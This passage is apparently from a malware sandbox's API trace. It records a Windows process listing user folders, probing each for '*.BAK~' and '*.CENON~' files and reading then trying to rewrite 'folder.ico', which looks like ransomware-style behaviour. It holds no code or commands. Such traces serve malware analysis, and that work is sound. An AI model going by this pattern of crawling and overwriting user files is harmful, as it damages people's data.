GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.787] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.788] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.788] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.789] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.803] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.803] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.806] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.807] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.807] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.807] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.807] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.807] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.807] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0110.808] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae270 | out: lpFindFileData=0x1ae270) returned 0 [0110.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0110.808] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x74e6 [0110.808] ReadFile (in: hFile=0x1d8, lpBuffer=0x2a76410, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x1ae488, lpOverlapped=0x0 | out: lpBuffer=0x2a76410*, lpNumberOfBytesRead=0x1ae488*=0x74e6, lpOverlapped=0x0) returned 1 [0110.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0110.817] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.818] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.818] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.818] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.819] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.819] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0110.819] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0110.826] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.826] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.827] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.827] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.827] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.827] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.827] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0110.832] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.832] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.832] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Vuqa\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.833] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.833] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.833] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.833] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.833] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0110.837] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.838] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.839] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.839] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.840] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0110.845] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.845] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.846] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.846] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.846] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.846] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.846] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.846] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.847] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.847] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0110.847] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0110.851] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.851] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.852] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.852] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0110.852] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0110.852] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0111.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.087] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.123] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.148] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0111.399] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.399] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.434] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.434] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.458] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.459] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0111.696] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.696] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.730] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.730] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.000] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.000] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.036] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.036] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.061] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.071] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.071] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.073] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.073] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.073] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0112.074] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0112.079] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.079] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.080] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.080] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.081] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.087] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.088] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.088] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0112.089] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0112.101] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.101] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.102] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.102] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0112.102] FindNextFileW (in: hFindFile=0x1ac59bc0, 